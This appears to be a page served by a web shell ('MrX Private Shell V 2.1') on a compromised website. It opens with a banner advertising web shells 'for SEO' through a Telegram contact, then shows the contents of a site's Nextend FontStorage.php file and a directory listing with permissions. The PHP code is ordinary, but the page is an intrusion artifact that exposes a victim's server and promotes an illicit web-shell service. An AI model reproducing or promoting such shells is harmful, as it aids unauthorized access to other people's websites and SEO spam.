__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Font;
use Nextend\Framework\Pattern\SingletonTrait;
use Nextend\Framework\Plugin;
class FontStorage {
use SingletonTrait;
private $sets = array();
private $fonts = array();
private $fontsBySet = array();
private $fontsById = array();
protected function init() {
Plugin::addAction('systemfontset', array(
$this,
'fontSet'
));
Plugin::addAction('systemfont', array(
$this,
'fonts'
));
Plugin::addAction('font', array(
$this,
'font'
));
}
private function load() {
static $loaded;
if (!$loaded) {
Plugin::doAction('fontStorage', array(
&$this->sets,
&$this->fonts
));
for ($i = 0; $i < count($this->fonts); $i++) {
if (!isset($this->fontsBySet[$this->fonts[$i]['referencekey']])) {
$this->fontsBySet[$this->fonts[$i]['referencekey']] = array();
}
$this->fontsBySet[$this->fonts[$i]['referencekey']][] = &$this->fonts[$i];
$this->fontsById[$this->fonts[$i]['id']] = &$this->fonts[$i];
}
$loaded = true;
}
}
public function fontSet($referenceKey, &$sets) {
$this->load();
for ($i = count($this->sets) - 1; $i >= 0; $i--) {
$this->sets[$i]['isSystem'] = 1;
$this->sets[$i]['editable'] = 0;
array_unshift($sets, $this->sets[$i]);
}
}
public function fonts($referenceKey, &$fonts) {
$this->load();
if (isset($this->fontsBySet[$referenceKey])) {
$_fonts = &$this->fontsBySet[$referenceKey];
for ($i = count($_fonts) - 1; $i >= 0; $i--) {
$_fonts[$i]['isSystem'] = 1;
$_fonts[$i]['editable'] = 0;
array_unshift($fonts, $_fonts[$i]);
}
}
}
public function font($id, &$font) {
$this->load();
if (isset($this->fontsById[$id])) {
$this->fontsById[$id]['isSystem'] = 1;
$this->fontsById[$id]['editable'] = 0;
$font = $this->fontsById[$id];
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Block | Folder | 0775 |
|
|
| Sources | Folder | 0775 |
|
|
| AbstractFontSource.php | File | 534 B | 0664 |
|
| ControllerAjaxFont.php | File | 294 B | 0664 |
|
| FontManager.php | File | 352 B | 0664 |
|
| FontParser.php | File | 1.27 KB | 0664 |
|
| FontRenderer.php | File | 10.16 KB | 0664 |
|
| FontSettings.php | File | 3.43 KB | 0664 |
|
| FontSources.php | File | 1.23 KB | 0664 |
|
| FontStorage.php | File | 2.28 KB | 0664 |
|
| FontStyle.php | File | 5.61 KB | 0664 |
|
| ModelFont.php | File | 3.45 KB | 0664 |
|